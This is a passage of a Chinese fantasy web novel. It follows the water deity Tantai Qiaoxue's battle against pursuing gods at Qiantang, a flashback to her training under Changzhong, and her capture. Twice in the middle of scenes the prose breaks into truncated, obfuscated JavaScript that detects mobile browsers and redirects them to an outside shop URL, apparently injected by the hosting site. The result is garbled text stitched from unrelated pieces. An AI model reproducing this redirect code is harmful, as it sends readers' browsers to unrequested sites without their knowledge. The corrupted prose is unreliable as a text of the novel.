她深吸一口气,肺都被凉意灌满:“可若是再来一次,我还是会这么选。” 女乞听她语气弱了,觉得所言无关紧要,捧着红薯继续啃了起来。 “那时我小。只知母亲是我在这世间最重要的人。她死前既要我好好地活,我便是趟过刀山剑阵也要拼命活下去,不为别的。 “若当年你去主祭、我入州府,你我都活不成。可阿姐,你明明对我心有愧怍,却又那么恭顺欣然地接受了旌表,根本不知道前头等待自己的是死亡,就连父亲也不知道。 “或许我对不住你。可这条路我既已走了下去,便无法回头。若是被后来人以闻天钟告知师父或风露版图的其他语者,我这辈子便是白白走了这么远、这么久。一切都白费了。 “阿姐,我只有自己,只有死人、疯子和哑巴能替我瞒下这个秘密。” 她摸了摸自己颈根平齐的断发:“那时我只道自己的命是母亲给的……如今我的命是自己的了。该还的,我还你。” “玥儿是你的女儿,小惠生前将她养得很好。你且放心。但我没办法救她,只能冒险救你。你要替我过完这人生。” 好好活着。 母亲当年是这么跟她说的。 几十年过去了,她如今连母亲的面孔都不大记得了。这些年在风露版图的种种辛酸,无法历历系数,她至少完成了“活着”那一半。 至于“好好”—— 敲雪抬头。女乞捧着那啃得坑洼的红薯,白发上黏得都是渣子,正一脸天真地朝她笑。 ——从钱塘的大火与大潮里走出来的那个晚上,她的生命已跟“好好”二字没关系了。 “你也吃!”女乞突然把那半截红薯塞到她手中:“干杯!” 敲雪一愣,握着那半红薯,一时竟不知该如何接。 “拉磨!嘻嘻,”女乞举着半个红薯,欢天喜地地喊:“下地狱!” “嗯,”敲雪?握着那半截红薯跟她碰了碰:“下地狱。” 大雪如絮,于子夜视野模棱。 但这些推心置腹的真话,想必她憋了大半辈子,此刻竟只能对她此生最对不起的人说。 只是敲雪这时说话,比起在此钱塘那两个字一蹦的说话风格倒是正常许多。也不知她后来是怎么就惜字如金到了不正常的地步。 视野中,天穹笼盖成球。一条绦带般的水路如天河斜插,穿过雪幕,从天外之天递来。 敲雪望向天边,簇紧眉头:“是扶桑水路来接我了。我们没时间了。” “阿姐,我现在就带你去‘此钱塘’。” ***** “回话!!澹台敲雪!回话!!”丹木吼道。 没有回应。 此钱塘虽然已经被混沌侵蚀,但还有些许能调动的语芥,能征用来做基本的传音。然而丹木周身的语芥却在一瞬间尽数“缄默”了——不是瞬间干涸死亡,就是有人用某种方式抽干了这块区域的语芥。 海雾和水蛟只是用来作秀的骗局,东边水语芥丰沛之处才是澹台敲雪的主战场。 如果敲雪提前把这骗局撤了…… 丹木抬头,精卫的羽箭如同流火贯穿浓雾,虽是隔雾盲射,已有数十支扎进在强弩之末的水蛟身上。 ……只能说明骗局已经没有必要了。 丹木突然意识到一件事,瞬间全身发麻——万一这骗局根本不是为了用海雾蒙蔽追兵的视野、让他们误以为西边是主战场,而是…… 在给丹木自己留后路。 从追兵的视角来看,是火克尊丹木一直在攻击水力尊的水蛟。如果此战敲雪败了,獬豸台清算的时候,顶多治丹木先锋不力之罪,而不是通敌叛逃。 丹木猛地调转方向,长枝骤然如锚链射出,枝鞭一挥,替那水蛟挡下数支火箭。 大雾被火光照得像日出时分的江雾,巨鸟的影子铺天盖地。 丹木闻到了大地被烤焦的味道。精卫熔铁般的脚爪能将踏足的一切焚烧殆尽。 “师父……” 丹木全身枝杈都本能地发抖,但它没有退。 纯黑巨木敛了全身火焰,底部生出触手般的根系,稳稳扎入此钱塘的大地中。转眼间根系遍布,如墨发编织成网,爬满了整片开化寺的废墟。 它望向巨鸟的来处:“水恒尊生前曾预言钱塘是变数,若是钱塘被回收,便是彻底抹除了这个变数。师父,徒儿虽不尽信‘未来眼’,但看见他们这么怕,徒儿还是想试一试。” 大雾中,数百条枝杈安静地朝着敛翼的巨鸟潜伸而去,像攻击前缓缓直立的蝮蛇。 刹那间,火光大盛,上百枝杈如连盏铜灯烧起,向精卫袭去。就在枝杈尖端的火苗要碰到鸟羽的那一刻,巨鸟张开双翼。 数百条粗枝竟瞬间被齐齐斩下! 丹木方才那一下是拼尽全力的搏命打法,此刻魂芥殆尽,立即撤回断肢和根系欲跑。 下一秒,神鸟巨大的脚爪已将它按在地上动弹不得。 神鸟精卫的眼圈是金色的,石榴石一样透红的眼珠镶在里头,一眨不眨地盯着它。 丹木的树皮被烫到皲裂,像红熔的岩浆。痛感像在血管里开了花似的,一截姹紫一截嫣红。 它疼得龇牙咧嘴:“师父,没用的,你的真火烧不死我……” 丹木生长于扶桑树枝条最西端的西极大千芥,那枚芥球距风露版图西境边缘的崦嵫山最近。 崦嵫山是上古的三千枚太阳沉落的地方。 传说上古时候,扶桑树的三千大千芥球孕育之初,每一枚中都有一个太阳。过于炽烈丰沛的火语芥晒干了其他三种语芥、导致扶桑树孕育不出硕大的芥球。于是,在一个蓝色的湿淋淋的黄昏,两千九百九十九个刚沉落的太阳被一张金色的巨网拖走、摧毁了。在那之后,悬挂在扶桑树顶的那轮红日,成了风露版图与三千大千芥唯一的太阳。 令所有人都没有想到的是,奉父后之命秘密执行那次回收任务的火语尊精卫,在回中央墟岛复命后,不知出于何种原因,竟折返崦嵫山,擅自从西极大千芥中带走了丹木。 这一举动触犯了风露版图的第一律法——“禁止语者改变芥球中生灵命运”。 为此,新封尊不久的火真尊遭受了无法言语、亦无法通过语芥传递信息的天罚。拥有嘹亮歌喉的神鸟从此成了风露版图唯一的哑巴。 精卫哑了之后脾气愈发古怪。她把自己关在南境的巢穴扶光居中不与任何人来往,数千年后,语者们再次在墟海上空看到她展翅飞翔时,她金色的脚爪中牢牢钩着一根火烧不坏的黑色木头。 火语者的魂芥是四语芥中唯一一种不能被分享给他人的魂芥。精卫无法把自己的火魂芥给丹木,她便用自身魂芥燃起的真火,一把火一把火地将丹木烧炼成了前无古人后无来者的御火之木。 木易生火,丹木却对世间最烈的火产生了抗性。没有人知道,火真尊这样强大的神明为何耗费自身几千年的修为和时光,只为炼出一块专能抵御真火的木头。 谁都知道,语者对同系语芥带有一定的抗性。火语者有能征用火语芥的天赋,便会天然对火有抗性。 精卫白费力气,似乎只是教会或加强了一件丹木天生就会的事情。 “你全忘了吗……”丹木虚弱地望着精卫。 巨鸟红宝石一样的眼珠定定盯着丹木,里头不见半分情味,亦不见昔日恨铁不成钢的严厉斥责。 九百年前的岚河城一战中,精卫在失去语言之后又被重伤头部失去了记忆,只剩下力量与服从,剩下的一举一动,都只是无关情感的作战本能。 被巨爪钩着腾空而起、向东飞去的那一刻,丹木知道自己魂芥即将耗尽、陷入“缄默”。 它绝望地甩出木身中最后的魂芥对澹台敲雪传音: “快跑……” 东边天上地下已然叫扶桑子团团围住,重围中央,三尺水快得不见剑身只见水光,转眼间盐官城墙内外已倒了一片。 剑光中心的人跏趺而坐,分毫未动,只有鬓边的短发被不时刃风掀起。 杀敌对此刻的澹台敲雪来说已是次要,她魂芥只剩一半,全部心神都贯注在将东边海水和经过地裂水道的潮头两相合并、拢成芥球语境上,虽说只是分神与扶桑院一群等闲之辈纠缠,竟也一时脱身不得。 眼见东天召来的海水已呈半弧升到中天。此地水语芥质量不高,水势却大,上千扶桑子在半空中全力抵御也堪堪平手,眼看那水碗就要扣将下来。 若是地缝中的水芥此刻升上去与之相汇,完整的语境就成了! 可地裂中的水语芥却远远不足!! 于子夜逃跑时丢下的巨石不偏不倚卡进了地裂水道正中,那本该奔涌而入、势不可挡的一线潮头受到阻塞,水势平缓,竟只有细流。 敲雪立刻改变两边水墙在空中相汇的计划,她抬高水道中的水位堪堪控住,加大东边海水下压的力度。 弧状水墙压下,重如泰山。逐渐有扶桑子抵抗不住,丢掉兵器逃命。 快了。还有数丈,水碗就要扣下,与地裂中的水语芥相合。 有了完整的水语境,此地就是她水力尊不容置喙的主场! 突然,一道强劲的风压骤然掀开一排正在抵抗的扶桑子,竟生生将行将扣下的海水扳了回去。 ……气动尊兑震! 敲雪睁开双眼,面前一道霹雳炸开,“啪”地一声将三尺水剑身击碎。 她起身收剑,破碎的三尺水虽迅速重在她手中聚拢成形,但即将成形的水语境却被方才的强风与雷电击溃,浪头如烟花四散炸开。 盐官的上空骤然下起瓢泼大雨。 战场上精疲力尽的扶桑子们抬起头,黑色的混沌语芥混杂着海水的咸腥砸下来,众人纷纷拢起自身语境,抵挡混沌的侵袭。 “澹台敲雪,束手就擒吧!没有扶桑水路的支援,你要战至魂芥耗尽暴毙而亡吗!”兑震站在阵前喊话。 敲雪握紧剑柄:“那也得看你本事。” 为首头戴金盔的扶桑子也上前一步到兑震身侧,是扶枢院的首座?乌云啸铁?,与石和尊交好。 乌云啸铁劝道:“水力尊,这其中一定有误会!您在神位六百年,我等都会在獬豸台为您求情!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530877|202942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“少废话。” 话音未落,三尺水直直朝兑震劈去。 三尺水的力道兑震是见识过的,连忙闪避,躲开剑刃,却仍是被剑气削下两截指头。 敲雪张开手掌一甩,腕上数枚念珠如小流星锤向上抛出,竟次第钩住已然溃散的浪头,她五指用力一勾,被钩住的浪头如帘幕一般重又被拉下。 “拦住她!”兑震暴喝。 雷电轰鸣,天动地颤。 扶桑子们见有气动尊坐镇,本料定这场战斗胜负已分,却未曾想敲雪孤军鏖战至此仍有卷土重来的力气,一时间纷纷后撤逃到这覆压而下的水罩外围。 只见一道道电光在将成未成的半透水茧中如蟒游走,寒光轰隆相交,一时胜负难分,众人看不清其中光景,更是无一人敢上前。 眼见那水茧就要阖拢,只剩一线。副将急问乌云啸铁:“首座怎么办!那水芥球一旦阖拢,气动尊就要被困在里头了!再不上前就晚了!” 恰在此时,一团巨火从天而降,包裹住整个堪堪成形的水芥球。 下一瞬,漫天白汽“嗤啦”腾起,如溶铁浇冰,雪地暴沸。 “破了!”有扶桑子大声叫好:“火真尊!是火真尊破了水力尊的语境!” 精卫一来,众人知敲雪绝无再翻盘的可能,为争抢首功一拥而上,瞬间将那盐官地头围得水泄不通,密密麻麻宛如蚁丘。 刀枪剑戟相交如林,躯体覆叠如麻。 直到白雾渐散,众人皆不敢动。 兑震六臂使力,费劲地从扶桑子人堆中挤出,爬到人堆顶端道:“都散开!有本尊和火真尊在,她逃不了!” 扶桑子开始撤开,从上至下如墙皮层层剥落。 还未撤到底端,有眼力好的已经看出不对,大叫道:“是‘脱胎’!” 众人急忙撤开,只见盐官城墙已碎如齑粉,城基地面被凿了个大凹坑,可见方才战况激烈, 然而坑中只有一块巨大的青石,然而哪里还有澹台敲雪的影子? “这……水力尊怎么会用石语者的魂技!” “不好,她想逃!” 但见熊熊火光中,一道白色人影飞身掠向六和塔基。 敲雪本有十足把握通过水都印从此钱塘带走于子夜。她早料到追兵不会少,也想到精卫和兑震会来得快,但没想到他们竟会直接来回收钱塘! 她最没有料到的是,天语石选中的“后”,尊号为“勇”的新神,不仅丢下巨石卡进了水道导致潮头无法通过、水语境无法两相闭合,还会撕毁她一半的魂芥弃石逃命——这是不可能做到的。 扶桑叶连三尺水都砍不破、真火都烧不穿,更不可能被魂芥都没有觉醒的人徒手撕碎。 况且天语石从不会说谎。赐予尊号就是一次明心见性的审判。 尊号既是“勇”,何至于懦弱至此! 眼下不知于子夜和观音究竟身在何处,丹木又已经被精卫控制、衔在口中。水力尊已六百余年未曾尝过败仗味道,此刻纵使不甘到牙酸,也只有逃! 三尺水飞向倒插的塔基,试图把亲手钉进去的占鳌塔重新拔出。然而方才敲雪为防扶桑子重兵从六和塔基直接进入彼钱塘,下的是个是十成十的禁制,此刻她魂芥只剩不到一半,又久经鏖战,一下竟没能打穿那层禁制。 这一下脱手给了精卫反应的时间。 火真尊虽记忆尽失,但战力相比旧日不仅未减丝毫,反因少了神智与情绪的影响而更为专注决绝。 精卫口衔丹木,展开右翼,肱骨、尺桡与掌骨绷出一道流畅的弧,自飞羽尖端向胸肋处赫然出现一条极细极亮的火线。 她左翼最长的初级飞羽倏然弯曲,咬住燃烧的弓弦。右翼之下层层叠叠的覆羽震颤起来,凝起金色光芒。 “唳——!” 锐啸划破长空。精卫左翼猛然后撤,右翼大弓瞬间张成满月。承载了全部光芒的一层覆羽瞬间一枚枚连根离体,化作无数璀璨火箭,激射而出。 敲雪早已放弃在战斗中使用防守,此刻虽是撤退,一招一式打出的都是攻击式。她左手念珠飞起,化作无数水珠,三尺水剑身穿梭其间快得刃影难辨。 众人只见剑光过处,漫天细小水珠被一削,尽数直直打向精卫羽箭! 水火相交,又是一串烟花般的白汽遍地开花。精卫重新张弓搭箭射得极快,被白雾一挡、水珠一击,竟是空射一半、折损一半。 “水力尊只是沿地裂飞行迟迟不还击,她的魂芥已经到了穷途末路的地步了!” “她想从地裂逃生!”一个眼力好的叫道,“趁现在一起上!别让她跑了!” 敲雪在白雾的掩护下飞身向地裂纵去。如扶桑子所料,她魂芥所剩无几,此刻确实擎不起结结实实卡在地裂中的一排巨石。 但地裂中有涌潮进入、留下的水。 “首座为何拦我!” 方才喊着要一起上的扶桑子被乌云啸铁拦下,不明所以地看着敲雪沿着地缝来回疾速飞行。 “……她在做什么?” “被逼得脑子坏了吧,无头苍蝇一样来回飞,不被火真尊射成筛子才怪。” 兑震方才与敲雪交手打得脱力,到此刻终于恢复了一些力气,看准她的动线,唤出电蟒一路劈下。 “气动尊不要!”乌云啸铁扑上前,却阻拦不及。 闪电与真火一路砸在敲雪掠过的水面上。火霹雳轰隆炸得天地刺白、众人根本睁不开眼睛。 “她想借力炸开那些岩石?不可能!石语芥是最稳定的,根本不会受到火语芥和气语芥的影响。” “水力尊都做了这么久语者了,脑子里竟还是人类那一套,愚不可及!” “不……”乌云啸铁眯起眼,瞳孔在强光下竖成一线。 “不。她在激起水的怒意。” 15.辩语芥浅渚飞雪怒 助围剿渊壑静水深 为何一定需要语境的存在,才能够征用语芥? 敲雪初到风露版图时无法理解这一点。 风露版图天然被“须弥界”这个巨型语境罩着,语者身在其中时可以自由征用自身属性对应的语芥;然而在没有语境的芥球执行回收任务时,语者须得先构造语境,才能征用其中的语芥。 长钟没有和她解释,只是在每次出任务回来后,都给她带一片来自不同芥球的雪花。 钱塘地处东南,不常下雪,敲雪对雪的印象也远远算不上好。雪是白的、冷的、化了之后湿寒侵肌,带着膝盖被冻坏、背部被烧灼的剧痛。 但长钟用小小的、剔透浑圆的芥球将每一片雪花包装起来,这种刻意让敲雪很难不去留意雪花的细节。 来自不同芥球的雪花,形状、颜色、质地都不尽相同。 最好看的那一种,是完美的六瓣花枝似的晶体;其余的,则是千奇百怪。有的两片黏在一起;有的是不规则的六边形;有的发黑发绿;有的不成形到甚至算不上雪花,更像是雹子一样的小冰弹,或者炸开的淞。 敲雪觉得这些精致的礼物加上长钟的默不解释就是在羞辱她的无能。她只看得出区别,却悟不出来其他。 终于有一日,她发现自己的语力已经能击碎长钟礼物芥球那薄薄的语境、并强行征用构成雪花的水语芥。于是敲雪带着那一大兜玲珑剔透的小球来到长钟的住所浅渚,倒出来,一击而碎。 长钟望着一地碎玻璃似的水芥球和漂浮在空中的一层薄雪,温和地问:“看出这些雪花有何不同了吗?” 傻子都能看出有何不同。敲雪不想回答。 “只要语力够强,都会被击碎,都能被征用。”她说。 长钟看出她在生气,却不知道为什么。 祂将那一层薄雪拢起,又造了个新的芥球将其包裹在内,这次的语境比之前的礼物芥球厚很多:“现在你还能征用这里面水语芥吗?” 敲雪起手就是一击,却蓦地被那语境弹回来,她竟被自己的语力震得向后滑出老远。 她不服输,撑住墙壁,又连击几下。这次吃了教训闪得快,被弹回的语力没震到她自己,却差点把浅渚唯一的一间屋子拆了。 浅渚这间多灾多难的木屋万年内已被拆了三回,肇事者各不相同。长钟不想劳动扶枢院给自己盖第四次屋子,轻叹一声,抬手收了芥球语境。敲雪一击正中雪球,房内顿时炸开漫天飞雪。 簌簌碎雪中长钟见她横眉怒目看着自己,不知方才又做错了什么,但大抵是错上加错了。 长钟忙说:“不着急,总有一天你能击碎我的语境的。” 啊,看起来更气了。还是转移话题吧。 “如你所见……完好的雪花只在少数特定条件下能自然形成。不同芥球的文明对此各有解释,但对语者来说,这是因为只有特定语境能够让水语芥心甘情愿被征用。” “心甘情愿被征用?” “嗯。四语芥中,众人都知晓火语芥是最纯粹的一种,但鲜少有人提及,水语芥是最挑剔的一种。” 敲雪不说话了。这和她印象中的水全然相反。人类的文字常写“水利万物而不争”、“上善若水”、“海纳百川”,说法不同,但都是以水譬喻包容开阔之象,怎的水语芥反倒挑剔起来了? “和石语芥一样,水语芥也有多种表达形式,都很精细——雨、露、云、雾、霜、淞……雪是其中最精细也最苛刻的表达形式。” “三要素还记得么?”长钟试探性眨了眨眼。 “语芥是可被语者征用的基本介质,语力是语者征用语芥的力量,语境是征用语芥的环境前提。”敲雪冷着脸背道。 做师父的心里松了口气。至少还愿意回答问题,看来这气生得在可控范围之内。 “我更喜欢用‘沟通’形容语者和语芥的关系……没事的,你爱用‘征用’也行。那么,四种语芥的性质呢?” “火语芥最纯粹苛刻,石语芥最稳定顽固,气语芥最灵活多变,水语芥你刚讲过。”生气那位说得飞快。 好,神色已有些不耐烦了,不要再考下去了。 长钟清了清嗓子:“咳,之前说语境是沟通……征用语芥的环境前提,其实这是个方便说法,也是扶枢院认可的通俗说法。” 唔,没给什么反应,表情仍然不爽。得加点她感兴趣的东西…… “因为其实有例外。火语芥被称为最纯粹的一种语芥,就是因为比起其他三种语境,它高度依赖使用者的魂语芥本身和语力,较少受环境影响。而像火真尊这样强大的火语者,甚至可以在完全脱离语境的情况下使用火语芥。” 提到精卫,敲雪的神情立刻由不爽转为专注。 每当嗅到“强大”的味道,眼前的人类女孩都像嗅闻到血味的捕食者。长钟知道现在精卫在敲雪心中就是“强大”二字的代名词。 “火语者和水、气、石语者都不一样,他们不是依赖语境与语芥进行沟通,从而‘征用’外部语芥,而是用自己去‘点燃’外部语芥——他们自身的魂芥就是火引子本身。也因此,火语者无法将自身魂芥共享给他人使用。” 就像人不能把自己的心挖出来塞进别人的胸膛里分享心跳一样。在这一点上,火语者倒是和人类最接近的。 “……但水语芥不同。水本无形无色无味,是不同的语境赋予了它们不同的质地和形态。水语芥的沟通、合作意愿和形态高度依赖于它们所处的环境。” 提到这个,长钟顿觉有得说了。 祂这位新收的小徒女不知出于何种原因,似乎非常抗拒构造语境这件事,却异常执着于语力的增强,属于明显的偏科选手,还屡劝不听。 长钟之前以为,带敲雪去须弥界之外看看,在没有天然语境的包裹的地方,她大概能意识到语境对于水语者的重要。谁知从墟海东境的平芜尽处回来之后,她反而对修炼语力更加偏执了。 “……这也就是为何我一直强调,对水语者来说,理解自己适合构造什么样的语境,才能选好自己擅用的水芥形态。” “比如昼竹专精征用雨露,擅长构造雨境与露境,是因为它在生长过程中便喜湿怕涝,熟稔于通过根系、竹壁导管处理并贮藏雨露;水静尊壬泽专精构造江河湖泊之类的大语境,征用的也多是浩渺的大水,因为她是诞生于大泽之上的半神,气度开阔;水弱尊癸湫虽是壬泽的胞弟,却喜用湫隘塘洼这样的小语境,这也和他的性情有关……” “那你为何什么都会?”敲雪打断了祂。长钟发现每次提起癸湫时她都会露出不耐烦的神情。 “我如何可能什么都会。”长钟无奈地笑了。 敲雪静了片刻,突然抬头道:“倘若火真尊能不依赖语境便征用语芥,不正说明语境不是必须的吗?” “对她来说,或许是。但……” “那么对我来说也可以。”敲雪说。 她少了闻天钟赋予的一半的魂芥。小惠没有说错,无论如何倾尽全力地苦练,她都无法构造出一个完整的水语境——即便是最低等最易碎的那种。 这是她成为冒名顶替者的惩罚和代价。 想要在这里活下去,想通过语者测验,必须想出其他的办法,不依靠语境也可以像一个真正的语者一样征用语芥。 但是风露版图唯一能做到这件事的语者,是一个强大到触不可及的、性情怪异的哑巴。敲雪没办法也不可能去问精卫。 其中的缘由苦处她无法与任何人诉说。 那段时间她日不得食夜不能眠,快把自己练死了,也最多只是在水月崖下的镜花潭中晕起一点涟漪。 镜花潭是水语者候选人练习掌控水语芥的结界,也是十二神刻意在风露版图设置的四处无语境结界之一,更是成为水语者资格测验中必过的试炼池。而上一届表现最差的候选人在其中掀起了数丈高的浪花。 一个无风的夜晚,她精疲力竭、行至绝路,满怀恨意、羞耻、愧疚和不甘从崖边一跃而下。 左右她早就该死了,如今既已竭力试过,也只是死于她自己的无能。澹台敲雪对此了无异议。与其在语者试炼中被别人杀死,她宁可亲手结束自己的生命。 坠落的风在耳边狂呼,她知道自己要砸进地狱了,下一秒却被托了起来。 水月崖下的柔波在身下荡着,小丘一样拱起,接住了她。 敲雪的第一反应是愤恨。 她已经下定决心去死了,为何在这种绝望的时候连死都不让她死!为何她连亲手结束这种折磨的资格都没有! 她哭喊、嘶吼、捶打,对那水床毫无章法地乱踢,用她平日里能轻易砸穿巨石的语力砸着救下她的水面,像一个婴儿一样声嘶力竭地宣泄着恨意和愤怒。 然后她第一次看见了镜花潭掀起怒涛。 潭水反击了她——用巨浪的力道和形状,结结实实地吞没了她。 敲雪被巨浪卷进了漩涡中。在极速翻滚、令人头晕目眩的涡流中,她竟然生出一丝濒临窒息的快意和兴奋。 以至于昏迷十日,她在浅渚的小榻上醒来时,看到长钟的第一眼,心中想的竟是,她或许日后真的有机会击碎眼前这个人的语境了。 那一跃,让她这个走投无路的冒名顶替者意外地找到了不在语境中而能强征水语芥的办法—— 激怒它。 *** 雷电与真火在地裂上方交替轰鸣。 敲雪在曲折的裂缝与落石中飞速闪躲着,左臂中了支火箭,一半身子瞬间像被点着了,要从内部熔化。 她咬牙挺住,感到有浪头在身下震颤,如数峰攒聚。那是江潮隐而未发的怒意。 快了。她掐算着时间。再飞上两个来回,水道中的潮水就会被彻底激怒,以同样甚至更甚的力度回击精卫和兑震。 江水一旦从深渊中腾起,那就是她从谷底岩石空隙中脱身的机会。 彼钱塘虽然语芥干涸,但是还有完整的语境。只要逃到那个中千芥里,她就有喘息再战的机会。 就在这时,视野突然一暗。 丰沛的水语芥像湿布一样裹下,挡住了雷电和真火,也挡住了一切声光。 “呃!” 敲雪在黑暗中视力极差,她飞得太快,骤然失明,变道不及,重重撞上地裂边缘的一块岩壁。 ……好强大的水语境。 不容置疑的满盈、毫无罅隙的完整,密不透风、铺天盖地。很熟悉。 ——是水静尊壬泽。 扶枢院众将士望着来人一脸惊诧,都没想到壬泽会和癸湫一起出现在这里。 同为水语尊,按理按情,水静尊和水弱尊合该避嫌才是。 “父后收到战况急报,命我来主持战局,”壬泽也不多解释:“众将士听令,兵器中带有光火的,尽数灭了。在列火语者退后,水语者上前,所有语者将自造魂语境撤了,隐去魂芥。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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壬泽环视一圈,未有异议。兑震捏紧了拳头,却也只是闷声不吭。 “所有水语者,跟在癸湫的水圈后面,听我号令上前包抄。” *** 澹台敲雪落进一潭深闷的黑暗中。 她需要尽可能远离壬泽在地裂上方布下的水语境,只能下落到卡在地裂中的一块巨岩上。 逐渐安分平息下来的潮水重新落了下去,隐到了地裂深处。周遭只剩下巨岩叠着落石,把地裂堵了个严实,像干涸的河床。 这厚厚的水语境挡住了所有的光,她什么都看不见。 是无心?是有心? 壬泽此举不费一兵一卒戳到了她的死穴。她平素惯用的分明是白汽弥漫的“沆砀”,怎么会用这样有针对性的遮光招式? 自己夜视极弱这事除了长钟绝无可能有第二个人知道。敲雪不会在他人面前暴露自己的任何缺陷。 但现在不是想这个的时候。 她能感觉到空气中水语芥细微的振动变化。是水语境在不断以她为中心缩拢,缓之又缓,极难察觉。 他们想要包抄。 但她看不见,只能凭感觉。 癸湫虽然如尊号所示,语力极弱,但最擅长潜行、藏匿,能不动声色地精密控制小范围的水语芥。 这意味着她每走一步都有可能踩进癸湫的陷阱中,被瞬间收网的水语芥捕到水语境里。 敲雪如同困兽。水与巨岩构成的牢笼让她逃脱无门。 如果体力、魂芥尚且充沛,她或许还能再拼死一搏。但她方才被精卫的火箭射中,又撞到了巨岩,负伤累累,还目不能视,再无精力反击。 ……活了这么久,死在自己八百年前赌上性命造出的此钱塘,死在被天罚毁掉又被她艰难保存下残骸的此钱塘,死在自己亲手劈开的地缝里。 这死法对她来说,是不是太窝囊了? 三尺水不作战时退去剑形,此刻安静地盘绕在她小臂上,像一条冬眠的蛇。 即便到了万不得已的地步,敲雪仍不想用这一招。 毁了剑,或许能搏一条生路。好一点,失去三尺水活下去,坏一点,剑毁人亡。 值吗? 她指腹轻触刃面。三尺水触手从不生凉,永远是温吞的触感。 像给她这把剑的人。 敲雪不喜欢这种赘余无用的暖意,但无论她将剑刃化得再尖再利,用三尺水杀人时,被杀的人死前脖颈上都是暖的,润的,似温水过喉,不痛不痒。 “为何给我这样的剑,为何要赐予他们这样的死亡?” 敲雪在拿到剑的那一日这样问祂。 “不好吗?”长钟微笑:“死亡对万物来说都是遗憾且无奈的事。” “但,你不是说过,从语者的角度来说,世间万物大多数的死亡,只是语芥缄默了?” “如果可以,我希望他们能忘记转向突然转向缄默的过程。”长钟回答。 就像从来不曾开口那样?她问。 就像从来不曾开口那样。祂答。 这样的剑不适合用来报仇,倒很适合用来自尽。敲雪想。 三尺水从小臂间滑落,剑柄在她手中重新凝出形状,接着是小巧的剑隔、修长的剑身。 “师父。” 她在黑暗中无声地唤祂。 如果你真的死了,我应该能用这把剑杀了我自己。 16.捐稚躯凿石可见火 掷金牌吞舟还漏网 壬泽自半空俯瞰黑暗中那条被江水笼罩的地裂。 癸湫操控的弱水如同长有附足的扁平活物,已悄无声息地攀上了敲雪站立的那块巨岩。 众扶桑子组成的包围圈正在不断缩小,癸湫的水始终保持在他们足前一尺,这隐匿了他们的行迹,使得他们能够在黑暗中朝敲雪不断逼近却不被察觉。 “长姐,是现在吗?”癸湫小声问壬泽。他明显很焦虑,额上都渗出了细细的汗珠。 “再等等。”壬泽抬手,一动不动地盯着包围圈中央的敲雪。 ……澹台敲雪竟唤出了三尺水。 她这是要自尽么? “水静尊,可以收网了!” 乌云啸铁看出敲雪举止异样,在云头上心急如焚。无论回到獬豸台敲雪会如何被论罪,能多活一时总还有转圜的余地! 敲雪将高举的剑尖对准了自己心脏的位置。 癸湫紧紧盯住壬泽下令的手势。 壬泽的手指微微扬起,和敲雪举剑的动作同步。 敲雪倒剑向心口捅去。 壬泽的手却快一步落下。 剑尖触及心口的刹那,早已爬到脚边、潜伏已久的水网瞬间收束成芥球,将敲雪牢牢束缚住。 第一层芥球收拢后,包抄的众兵加了禁制的水语境一层层叠上来,收得极快。三尺水被弧形水壁一撞,“铮”地脱手,从敲雪腰侧捅出。长剑瞬间收回到了主人小臂上,似乎在庆幸终于摆脱弑主的厄运。 凭敲雪本人所剩无几的魂芥,此刻被数十重丰沛强劲的水语境压制,根本连一滴水珠也唤不起来,更别提再次举剑自戕了。 她已彻底失去威胁,成为待宰的池鱼笼鸟。 “做得好。”壬泽看向癸湫。 长姐的嘉奖十分难得,癸湫有些不好意思地低下了头,抿唇露出一个羞赧的笑。他体态畏畏缩缩久了,这表情由他做起来,显得无比怪异。 “叛徒已经捉拿!!”云头下方远远传来众扶桑子的庆贺声。 乌云啸铁方才狠狠捏了把汗,此刻看到敲雪被活捉,却是暗自松了口气。他稳住心神,附和道:“水静尊好本事!与水弱尊这番配合当真是天衣无缝!” 兑震冷哼一声。到手的头功就这样被抢了,他非常不爽。 壬泽的神色与往日毫无区别,仿佛不是打了场胜仗,而是话了场家常。她俯瞰地裂,柔声道:“小小胜仗,不足挂齿……嗯?下头是哪位语者重燃了魂语境?烦请首座传令熄了。” 黑暗能最大程度地限制澹台敲雪,但光线无疑会让她重新躁动、寻求破局之机。壬泽不想在回风露版图这短短的途中出什么岔子。 “是。”乌云啸铁连忙以魂芥向云头下传音命令熄灯,片刻后道:“……诶?水力尊,魂芥传音没有人回,是您刚才吩咐了众人撤去魂语境、掩熄魂芥,似乎将士们得胜后并未有人违令复燃魂芥。” 云头下众人尚在庆贺,并无异样,如乌云啸铁所言,确实无人重燃魂芥。壬泽眯起眼,沿着狭长的地裂寻找那萤火般微弱难察的光源。 光源似乎来自地裂深处。 “语尊,你听……”乌云啸铁的耳朵竖了起来,猫科动物敏锐的听觉似乎察觉出某种异样。 大地里面生长出细细的颤动。 地裂中蓦然升起一块隆起的鼓包。 身陷庆贺情绪中的扶桑子们惊愕地抬头。 一座山丘状的巨石擦着地裂的岩壁隆隆升起。 接着是另一块。 随着卡在两壁间的巨石一块块升至空中,自地裂底部透出的光芒如同巨人金色的大足,顺着地裂一步步向着扶桑子和敲雪的方位走去。 “这是什么……”有扶桑子惊恐地叫起来。 “这不可能……石语三尊都没有参战啊!” 终于有人反应过来,大喊:“不管是什么,块阻止它!它要将地缝撬开!” 壬泽反应奇快,立刻重引起江水去压巨石。 然而敲雪将这地裂劈得极深,本就是用来作引潮水道的。如今少了那一排小丘般的巨石卡在中间阻碍,壬泽一江大水倾泻而下,如巨瀑从天来,只是冲洗掉了岩缝里的碎石,便落入深渊之中。 江水顷刻倾尽,水落光出,地裂不见丝毫被堵上的迹象。 精卫兑震以火烧雷劈。亮光大闪后,巨石在空中纹丝不动,似一座座浮空的山丘。 山丘越浮越多,光芒越来越盛。 